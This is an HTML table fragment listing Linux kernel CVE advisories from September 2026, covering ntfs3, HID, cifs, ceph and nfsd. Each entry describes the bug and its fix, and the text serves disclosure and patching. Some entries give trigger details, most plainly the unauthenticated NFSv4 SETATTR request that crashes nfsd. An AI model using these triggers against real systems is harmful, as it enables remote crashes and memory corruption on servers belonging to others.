&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate dirty page table on log replay Each DIR_PAGE_ENTRY ends in a page_lcns[] array whose length is the on-disk lcns_follow field. check_rstbl() validates the table bookkeeping but never checks that this array fits in the entry, so a crafted lcns_follow lets the v0-&amp;gt;v1 conversion memmove and later replay passes run off the entry. Add check_dp_table() to reject, right after check_rstbl(), any entry larger than its size claims via struct_size() (the same expression used to allocate these entries, so the check is overflow-safe by construction). All consumers can then trust lcns_follow as the real capacity. This covers every page_lcns[] access whose index is bounded by the entry itself (the conversion memmove, the HotFix store via find_dp(), and the self-bounded scan loops). Accesses whose index comes from the log record need a separate bound and are handled in a follow-up patch.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89617&quot; target=&quot;_blank&quot;&gt;CVE-2026-89617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: intel-thc-hid: intel-quickspi: bound GET_REPORT response to the caller buffer quickspi_hid_raw_request() receives the caller&#039;s buffer length in len, but quickspi_get_report() never sees it and copies the whole device-supplied response into buf regardless: memcpy(buf, qsdev-&amp;gt;report_buf, qsdev-&amp;gt;report_len); qsdev-&amp;gt;report_len comes from the input report the touch controller returns, while buf is sized to whatever the caller asked hidraw for through HIDIOCGFEATURE or HIDIOCGINPUT. A response larger than that overflows buf with device-controlled content. The intel-quicki2c sibling already passes the caller length down to quicki2c_get_report() and validates the response against it before the copy. Do the same here.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89619&quot; target=&quot;_blank&quot;&gt;CVE-2026-89619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: intel-thc-hid: intel-quickspi: validate report size before copy write_cmd_to_txdma() builds an output report in qsdev-&amp;gt;report_buf, a heap buffer allocated in quickspi_alloc_report_buf() to the device-descriptor derived max_report_len (a few hundred bytes for a touch controller). It copies the caller-supplied report into that buffer: memcpy(write_buf-&amp;gt;content, report_buf, report_buf_len); The HID core caps a report at HID_MAX_BUFFER_SIZE (16384) by default, and quickspi_hid_ll_driver does not set max_buffer_size, so the length reaches the driver unbounded. A hidraw SET_REPORT/SET_FEATURE ioctl carrying a report larger than max_report_len therefore overflows report_buf with attacker-controlled length and content. Record the report_buf allocation size and reject reports that do not fit before copying, matching the equivalent guard in the intel-quicki2c sibling (quicki2c_init_write_buf()) and the hid-goodix-spi fix. write_cmd_to_txdma() writes the output report header ahead of the content in the same buffer, so size the allocation to cover the header as well. That keeps the added bound from rejecting a maximum-sized report.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89620&quot; target=&quot;_blank&quot;&gt;CVE-2026-89620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: mcp2221: clear rxbuf after I2C/SMBus transfer completes mcp_i2c_smbus_read() stores the caller-supplied buffer pointer in mcp-&amp;gt;rxbuf for the duration of a transfer but never clears it when the transfer finishes or times out. Once the caller frees or reuses the buffer, mcp-&amp;gt;rxbuf becomes a dangling pointer. A delayed or spurious MCP2221_I2C_GET_DATA report can then drive mcp2221_raw_event() to memcpy device data into the freed memory, causing a write use-after-free. Route all return paths through a single exit point that clears mcp-&amp;gt;rxbuf and mcp-&amp;gt;rxbuf_size, so that the existing !mcp-&amp;gt;rxbuf guard in the raw_event handler can reject any report arriving after the transfer has ended.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89622&quot; target=&quot;_blank&quot;&gt;CVE-2026-89622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: universal-pidff: stop the device when force-feedback init fails universal_pidff_probe() starts the device with hid_hw_start() and then, if force-feedback initialisation fails, returns the error through a label that only does &quot;return error&quot;. The device is left started. The HID core does not unwind on the driver&#039;s behalf. __hid_device_probe() releases the devres group, closes the report and clears hdev-&amp;gt;driver: if (ret) { devres_release_group(&amp;amp;hdev-&amp;gt;dev, hdev-&amp;gt;devres_group_id); hid_close_report(hdev); hdev-&amp;gt;driver = NULL; } The hidraw character device that hid_hw_start() registered through hid_connect() is allocated with kzalloc() and added with cdev_device_add(), so it is not devres-managed and survives that. With hdev-&amp;gt;driver NULL, hid_device_remove() skips hid_hw_stop() as well, because it only unwinds while a driver is still attached. The registration therefore outlives the device on both paths. Opening the surviving /dev/hidrawX writes into freed memory. KASAN reports a use-after-free write from hidraw_open() -&amp;gt; hid_hw_open() -&amp;gt; the transport&#039;s open callback, which takes a spinlock inside the freed object. A descriptor that carries a PID usage page and no input reports is enough: hidraw claims the device so hid_hw_start() succeeds, while hid-&amp;gt;inputs stays empty so force-feedback init fails. The other failure returns in hid_pidff_init_with_quirks() - no output reports, an allocation failure, pidff_init_fields(), pidff_check_autocenter(), an unusable effect count, input_ff_create() - all reach the same label. Stop the device on that path. hid-dr.c and hid-emsff.c, which start the device with the same HID_CONNECT_DEFAULT &amp;amp; ~HID_CONNECT_FF mask, already do this. The two earlier gotos must keep returning without hid_hw_stop(), since neither has a started device, so give the path that fails after the start its own label. Discovered by XBOW, triaged by Baul Lee &amp;lt;baul.lee@xbow.com&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89624&quot; target=&quot;_blank&quot;&gt;CVE-2026-89624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions When a file has the setuid or setgid bit set and is written to, the VFS strips those bits and issues a setattr with ATTR_KILL_SUID/ATTR_KILL_SGID together with an ATTR_MODE carrying the already-cleared mode. Both cifs_setattr_unix() and cifs_setattr_nounix() unconditionally dropped ATTR_MODE in that case: /* skip mode change if it&#039;s just for clearing setuid/setgid */ if (attrs-&amp;gt;ia_valid &amp;amp; (ATTR_KILL_SUID|ATTR_KILL_SGID)) attrs-&amp;gt;ia_valid &amp;amp;= ~ATTR_MODE; This is fine for the default mount, where the mode is only emulated via the DOS read-only attribute and cannot represent the setuid/setgid bits anyway. However, with the &quot;cifsacl&quot; or &quot;modefromsid&quot; mount options the mode is stored on the server through an ACL (id_mode_to_cifs_acl()), with the SMB3.1.1 POSIX extensions the mode is sent to the server directly, and with the SMB1 Unix extensions (cifs_setattr_unix) the mode is sent via CIFSSMBUnixSetPathInfo(). In all those cases dropping ATTR_MODE means the cleared mode is never pushed to the server, so the setuid/setgid bit survives the write. This is a security issue: on local filesystems the setuid bit is stripped when a file is written, but over these cifs.ko mounts the bit persists on the server, potentially allowing an unexpected privilege escalation on subsequent execution. Fix this in two places: 1. cifs_setattr_nounix(): only take the &quot;skip mode change&quot; shortcut when the mode is emulated via the DOS read-only attribute (i.e. neither cifsacl/modefromsid nor the SMB3.1.1 POSIX extensions are in effect), so that the cleared mode is propagated to the server in the ACL / POSIX cases. 2. cifs_setattr_unix(): this function is only called when Unix extensions are in effect, so the mode is always stored on the server. Remove the shortcut entirely so that the cleared mode is always pushed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89638&quot; target=&quot;_blank&quot;&gt;CVE-2026-89638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cifs: use cifs_invalidate_cache() in cifs_do_truncate() for O_TRUNC cifs_do_truncate() is invoked from cifs_open() without i_rwsem, so it cannot use cifs_resize_file_locked() to perform a proper fscache cookie resize. Instead, add cifs_invalidate_cache() after cifs_setsize(). cifs_invalidate_cache() calls fscache_invalidate(), which works without holding i_rwsem: it unconditionally increments inval_counter and sets FSCACHE_COOKIE_NO_DATA_TO_READ, ensuring that stale cached data is not served once the cookie is later activated by fscache_use_cookie(). Truncation to zero leaves no valid cached data, making invalidation the correct semantic here.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89639&quot; target=&quot;_blank&quot;&gt;CVE-2026-89639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cifs: fix loff_t underflow in cifs_remap_file_range() when len == 0 With len == 0 (clone to EOF), the effective length is computed as: len = src_inode-&amp;gt;i_size - off; If off &amp;gt; i_size, this is a negative loff_t, corrupting the ByteCount in the FSCTL_DUPLICATE_EXTENTS_TO_FILE request and inverting the range in filemap_write_and_wait_range(). The existing off &amp;gt;= i_size check fires only after the ioctl has already been sent. Snapshot i_size_read() once for both the bounds check and the length calculation, eliminating the TOCTOU and 32-bit torn-read risk. Reject off &amp;gt; src_size with -EINVAL. Treat off == src_size as a no-op, consistent with __generic_remap_file_range_prep().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89640&quot; target=&quot;_blank&quot;&gt;CVE-2026-89640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cifs: clear tcon after cifsFileInfo_put() in cifs_file_set_size() When the else branch of cifs_file_set_size() finds a writable file handle via find_writable_file(), it borrows tcon and server from the handle&#039;s tlink, attempts the handle-based set_file_size() RPC, and then releases the handle with cifsFileInfo_put(). If set_file_size() fails, execution falls through to the path-based fallback, which reuses the borrowed tcon and server under the &quot;if (tcon == NULL)&quot; guard. Since tcon is not NULL at that point, the guard is skipped. If cifsFileInfo_put() dropped the last reference on a tlink that was already removed from the tlink tree (TCON_LINK_IN_TREE cleared, as happens during reconnection or session teardown), cifs_put_tlink() will have freed tcon; the subsequent set_path_size() call is then a use-after-free. Setting tcon = NULL after cifsFileInfo_put() causes the existing guard to take the cifs_sb_tlink() path, which acquires a fresh reference for the path-based operation or fails cleanly if the session is gone.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89641&quot; target=&quot;_blank&quot;&gt;CVE-2026-89641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: fix leaked inode reference on writeback abort at umount ceph_dirty_folio() takes a wrbuffer claim on each newly dirtied folio: it bumps i_wrbuffer_ref (taking an ihold() on the 0-&amp;gt;1 transition) and attaches the snap_context to folio-&amp;gt;private. That claim is released only by ceph_put_wrbuffer_cap_refs(), which for a submitted write runs from writepages_finish(). In ceph_submit_write(), if ceph_inc_osd_stopping_blocker() fails -- which happens during umount -- the request is aborted before submission: the already-collected folios are only redirtied and unlocked, so writepages_finish() never runs and the claim is leaked. redirty_page_for_writepage() -&amp;gt; folio_redirty_for_writepage() -&amp;gt; filemap_dirty_folio() sets PG_dirty directly and does not go through -&amp;gt;dirty_folio, so ceph_dirty_folio() is not re-entered to rebalance it. Because every subsequent writeback also fails the osd_stopping_blocker, i_wrbuffer_ref never returns to 0, the ihold() is never dropped, and the inode cannot be evicted: VFS: Busy inodes after unmount of ceph kernel BUG at fs/super.c:650! Release the orphaned claim in the abort path before redirtying, via ceph_undo_wrbuffer_claim(): detach the snap_context, drop the wrbuffer reference (letting i_wrbuffer_ref reach 0 and iput() the inode), and drop the snap_context reference -- i.e. do what writepages_finish() would have done for these never-submitted folios. Only the locked_pages entries are undone; folios still in the fbatch were never dirty-cleared by this call (folio_clear_dirty_for_io() is the ownership-transfer point, and a successful move NULLs the fbatch slot), so they hold no claim this call owns.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89646&quot; target=&quot;_blank&quot;&gt;CVE-2026-89646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: do not repeat ceph_trim_dentries() if no progress possible ceph_cap_reclaim_work() re-queues itself for as long as ceph_trim_dentries() returns -EAGAIN, which happens whenever a lease walk exhausts its `nr_to_scan` budget. This creates a busy loop that consumes CPU without making any progress when there is nothing to reclaim: with no cap pressure (`count==0`) and every scanned lease still valid, each pass runs the full scan budget down to zero and returns `-EAGAIN`, only to be queued again immediately. The dir-lease walk made this worse. When `expire_dir_lease` is `false` (i.e. we have no intention of reclaiming dir leases), __dir_lease_check() returned `TOUCH` for every valid lease. `TOUCH` moves the dentry to the tail of the list and resets `di-&amp;gt;time` via __dentry_dir_lease_touch(), so a walk over N valid leases pointlessly rewrote the list, refreshed the timestamps (preventing them from ever aging out) and always drained `nr_to_scan`, guaranteeing the `-EAGAIN` requeue. Fix this in three steps: - Return `KEEP` instead of `TOUCH` when `expire_dir_lease` is `false`. If we are not going to reclaim the lease, leave it in place instead of churning the list and resetting its timestamp; the walk then terminates naturally (or via `STOP` at the first fresh lease). - Only return `-EAGAIN` from the first (dentry-lease) walk when something was actually freed. A full batch that frees nothing means retrying the same list immediately is futile; fall through to the dir-lease walk instead. - After both walks, bail out with success (0) when nothing was freed and there is no cap pressure (`count==0`). There is no reason to keep retrying when we are not over the cap limit and made no progress. Under real cap pressure (`count&amp;gt;0`) the reclaim path is unchanged and still retries via `-EAGAIN`. Without this patch, I saw 500 ceph_trim_dentries() calls per second on our web servers. This is very visible in `/proc/lock_stat` (5 minute capture): class name con-bounces contentions waittime-min waittime-max waittime-total waittime-avg acq-bounces acquisitions holdtime-min holdtime-max holdtime-total holdtime-avg &amp;amp;mdsc-&amp;gt;dentry_list_lock: 126180 128218 0.04 8063.44 15986965.20 124.69 1573354 5296812 0.04 8291.28 74164526.48 14.00 ----------------------- &amp;amp;mdsc-&amp;gt;dentry_list_lock 111736 [&amp;lt;000000007b11e319&amp;gt;] __ceph_dentry_dir_lease_touch+0x7c/0xa8 &amp;amp;mdsc-&amp;gt;dentry_list_lock 2631 [&amp;lt;0000000050597999&amp;gt;] __dentry_leases_walk+0x64/0x2c8 &amp;amp;mdsc-&amp;gt;dentry_list_lock 3878 [&amp;lt;00000000c0022f62&amp;gt;] __ceph_dentry_lease_touch+0x5c/0xa8 &amp;amp;mdsc-&amp;gt;dentry_list_lock 9973 [&amp;lt;000000002f27cb6f&amp;gt;] __dentry_lease_unlist+0x50/0xa0 ----------------------- &amp;amp;mdsc-&amp;gt;dentry_list_lock 123621 [&amp;lt;0000000050597999&amp;gt;] __dentry_leases_walk+0x64/0x2c8 &amp;amp;mdsc-&amp;gt;dentry_list_lock 1822 [&amp;lt;000000007b11e319&amp;gt;] __ceph_dentry_dir_lease_touch+0x7c/0xa8 &amp;amp;mdsc-&amp;gt;dentry_list_lock 2720 [&amp;lt;000000002f27cb6f&amp;gt;] __dentry_lease_unlist+0x50/0xa0 &amp;amp;mdsc-&amp;gt;dentry_list_lock 55 [&amp;lt;00000000c0022f62&amp;gt;] __ceph_dentry_lease_touch+0x5c/0xa8 With this patch: class name con-bounces contentions waittime-min waittime-max waittime-total waittime-avg acq-bounces acquisitions holdtime-min holdtime-max holdtime-total holdtime-avg &amp;amp;mdsc-&amp;gt;dentry_list_lock: 1203 1215 0.16 408.88 33082.88 27.23 4320501 7357389 0.04 500.64 1961578.00 0.27 ----------------------- &amp;amp;mdsc-&amp;gt;dentry_list_lock 1029 [&amp;lt;000000003c9aea8a&amp;gt;] __ceph_dentry_dir_lease_touch+0x7c/0xa8 &amp;amp;mdsc-&amp;gt;dentry_list_lock 1 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89647&quot; target=&quot;_blank&quot;&gt;CVE-2026-89647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: cap delegated inode count in ceph_parse_deleg_inos() ceph_parse_deleg_inos() decodes interval sets of delegated inode numbers from an MDS create-with-delegation reply. For each set it reads a 64-bit start and a 64-bit len with ceph_decode_64_safe(), which only validates that the eight bytes are present in the message, not the value, and then loops over len while inserting entries into s_delegated_inos. len is fully attacker controlled. A malicious or compromised MDS can send one huge interval, many intervals in one reply, duplicate intervals, or repeated replies that accumulate delegated inodes on the same session. The original code bounded none of these and could spin the insert loop or grow the xarray without limit. Bound both dimensions with a single enforcement point. Track the number of delegated inodes held by each MDS session in an atomic counter and grow it only in ceph_insert_deleg_ino(), which uses atomic_add_unless() to refuse to push the count past CEPH_MAX_DELEG_INOS. Because that helper is the only place the counter grows, the per-session population can never exceed the cap, so no separate per-session pre-check is needed. The counter is decremented when async create consumes a delegated inode or when an insert fails, incremented when a delegated inode is restored, initialized with the session xarray, and reset when reconnect destroys the xarray. A per-session cap alone still lets one reply spin the insert loop on duplicate ranges without growing the counter, so also cap the aggregate interval length accepted from a single reply. Together these bound both the loop trip count per reply and the xarray population across replies. The cap is a fixed, client-chosen constant rather than a value derived from the MDS. mds_client_prealloc_inos is a userspace MDS configuration option; it is never sent to the kernel client on the wire, and a server-supplied bound could not be trusted for a defensive limit in any case. The constant is set well above that option&#039;s documented default of 1000 (a generous multiple), so legitimate refill behavior is unaffected while the CPU and xarray memory a malformed delegation stream can consume stays bounded. Impact: a malicious or compromised Ceph MDS can no longer make a client spin through an unbounded delegated-inode interval or grow one session&#039;s delegated-inode xarray without limit.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89648&quot; target=&quot;_blank&quot;&gt;CVE-2026-89648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: libceph: validate OSD extent maps before cursor advance net/ceph/osd_client.c:osd_sparse_read() validates that the sparse-read data length matches the summed extent lengths, but it does not validate that each OSD-supplied extent is monotonic and lies inside the original request range. A malformed authenticated OSD reply can advertise a far-forward nonzero extent offset with a matching data length and make the client advance the message-data cursor beyond the request buffer. This reaches the BUG_ON(!*length) assertion in ceph_msg_data_next() from the client receive path. Impact: A malicious or compromised authenticated Ceph OSD peer can crash a kernel Ceph client via a malformed sparse-read reply. Reject sparse extent maps that overflow, move backwards, overlap, or extend outside the original sparse-read request before advancing the cursor. [ idryomov: perform sparse_extent_map_valid() check a bit earlier, in CEPH_SPARSE_READ_DATA_LEN instead of CEPH_SPARSE_READ_DATA_PRE state ]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89657&quot; target=&quot;_blank&quot;&gt;CVE-2026-89657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: release OPEN-decoded posix ACLs via op_release nfsd4_decode_createhow4() calls nfsd4_decode_fattr4(), which allocates refcounted struct posix_acl objects via posix_acl_alloc() and stores them in open-&amp;gt;op_pacl and open-&amp;gt;op_dpacl. These pointers must be released once the OPEN compound finishes. When nfsd4_decode_open_claim4() returns a non-seqid-mutating error, the dispatcher short-circuits before op_func runs: nfsd4_proc_compound() if (op-&amp;gt;status &amp;amp;&amp;amp; op-&amp;gt;opnum == OP_OPEN) op-&amp;gt;status = nfsd4_open_omfg(...) if (!seqid_mutating_err(ntohl(op-&amp;gt;status))) return op-&amp;gt;status; /* nfsd4_open() never runs */ ... opdesc-&amp;gt;op_release(&amp;amp;op-&amp;gt;u) /* must still release op_pacl/op_dpacl */ Before this change OP_OPEN had no .op_release in nfsd4_ops[], and the release pair lived inside nfsd4_open() at its out_err: label. On the short-circuit path nfsd4_open() is never invoked, so both posix_acl refs leak on every malformed OPEN compound that carries valid POSIX ACL createhow4 attributes. Add nfsd4_open_release() and wire it as .op_release for OP_OPEN. posix_acl_release() is NULL-safe, so the single release site covers both the normal path and the nfsd4_open_omfg short-circuit. Remove the matching posix_acl_release() pair from nfsd4_open()&#039;s out_err: label to avoid double-releasing. The compound loop has two encoding branches: nfsd4_encode_operation() for normal ops, and nfsd4_encode_replay() for v4.0 replayed ops. op_release was only called from nfsd4_encode_operation(), so resources attached to op-&amp;gt;u leak on the replay path. Move the op_release() call out of nfsd4_encode_operation() and the replay branch, placing it after the if-else in nfsd4_proc_compound(). This gives a single call site in a fairly obviously-correct place, covering both the normal encoding and replay paths.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89664&quot; target=&quot;_blank&quot;&gt;CVE-2026-89664&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: move nfsd_debugfs_init() after nfsd4_init_slabs() in init_nfsd() nfsd_debugfs_init() runs before nfsd4_init_slabs() in init_nfsd(). If the slab allocation fails, the bare &quot;return retval&quot; bypasses nfsd_debugfs_exit(), leaving orphan debugfs files with stale fops pointers into the freed module text. Move nfsd_debugfs_init() to after the slab init succeeds, so the early return has no debugfs state to clean up. Since debugfs is now the more recently initialized of the two, also update the unwind paths to match reverse-initialization (LIFO) order: run nfsd_debugfs_exit() before nfsd4_free_slabs() in both the init_nfsd() error path and exit_nfsd(). The nfsd debugfs files only reference module-global state and have no dependency on the slab caches, so that reordering is a cleanup with no functional change.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89668&quot; target=&quot;_blank&quot;&gt;CVE-2026-89668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: hold rcu across localio cmpxchg retry nfsd_file objects are freed via call_rcu (filecache.c:296), and nfsd_file_slab is created without SLAB_TYPESAFE_BY_RCU (KMEM_CACHE(nfsd_file, 0) at filecache.c:789), so the slab page backing a freed nfsd_file becomes freely reclaimable once the RCU grace period elapses. The again: retry block in nfsd_open_local_fh() loads a pointer with cmpxchg and then calls nfsd_file_get(new) (which is refcount_inc_not_zero) without holding rcu_read_lock. The sole caller nfs_open_local_fh() drops rcu_read_lock before invoking this helper, so no outer reader-side critical section covers the load. CPU 0 (nfsd_open_local_fh) CPU 1 (nfsd_file_put_local) ----- ----- new = cmpxchg(pnf, NULL, ...) nf = xchg(pnf, NULL) nfsd_file_put(nf) last ref -&amp;gt; call_rcu() /* grace period elapses; slab page recycled */ nfsd_file_get(new) refcount_inc_not_zero(&amp;amp;new-&amp;gt;nf_ref) /* operates on recycled memory */ A non-zero word at the nf_ref offset of the recycled object makes the refcount bump appear to succeed, and the caller then dereferences new-&amp;gt;nf_net and new-&amp;gt;nf_file out of freed memory. Fix by taking rcu_read_lock() immediately before the cmpxchg and releasing it on all three exits of the if (new) block: the goto-again retry, the lost-race cleanup path, and the install-succeeded path. nfsd_file_put() and nfsd_net_put() stay outside the RCU section so they remain free to block.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89670&quot; target=&quot;_blank&quot;&gt;CVE-2026-89670&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix partial-write detection in nfsd_direct_write nfsd_direct_write() walks a list of write segments and, after each vfs_iocb_iter_write(), tries to detect a short write so the loop can stop before placing the next segment at a wrong file offset: host_err = vfs_iocb_iter_write(file, kiocb, &amp;amp;segments[i].iter); if (host_err &amp;lt; 0) return host_err; *cnt += host_err; if (host_err &amp;lt; segments[i].iter.count) break; /* partial write */ vfs_iocb_iter_write() runs the iter through -&amp;gt;write_iter(), which advances the iter by the number of bytes written. By the time the check runs, segments[i].iter.count is the residual, not the original request length: before write_iter: iter.count == original_len after write_iter: iter.count == original_len - host_err The condition then reduces to host_err &amp;lt; original_len - host_err, so the break fires only when less than half of the segment was written. Any short write completing between 50% and 99% of the segment slips through; the loop advances to the next segment with kiocb-&amp;gt;ki_pos only bumped by the short amount, writing the next segment&#039;s payload at the wrong offset and over-reporting *cnt to the NFS client. Snapshot the segment&#039;s byte count before the write and compare host_err against that snapshot so any short write breaks the loop.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89678&quot; target=&quot;_blank&quot;&gt;CVE-2026-89678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix null dereference in nfsd4_setattr for deleg timestamp attrs When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr() sets deleg_attrs=true and calls nfs4_preprocess_stateid_op() to validate the stateid. If the client supplies the NFSv4 &quot;one stateid&quot; (all-0xFF bytes), check_special_stateids() returns nfs_ok without populating the output nfs4_stid pointer, because the special-stateid path in nfs4_preprocess_stateid_op() jumps to done: with s==NULL, and the &quot;if (s)&quot; block that would set *cstid is skipped. The local variable `st` remains NULL. Back in nfsd4_setattr(), the if (deleg_attrs) block then unconditionally dereferences st-&amp;gt;sc_type (at offset 4 from NULL), causing a kernel oops. This is remotely triggerable by any NFSv4 client: send COMPOUND [PUTROOTFH, SETATTR(ONE_STATEID, {bmval2=FATTR4_WORD2_TIME_DELEG_ACCESS, ...})]. No authentication, delegation, or prior state is required. Fix by adding a NULL check before the dereference. A special stateid is not a delegation stateid, so the existing nfserr_bad_stateid return value is already correct; we only need to guard the pointer dereference itself.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89679&quot; target=&quot;_blank&quot;&gt;CVE-2026-89679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
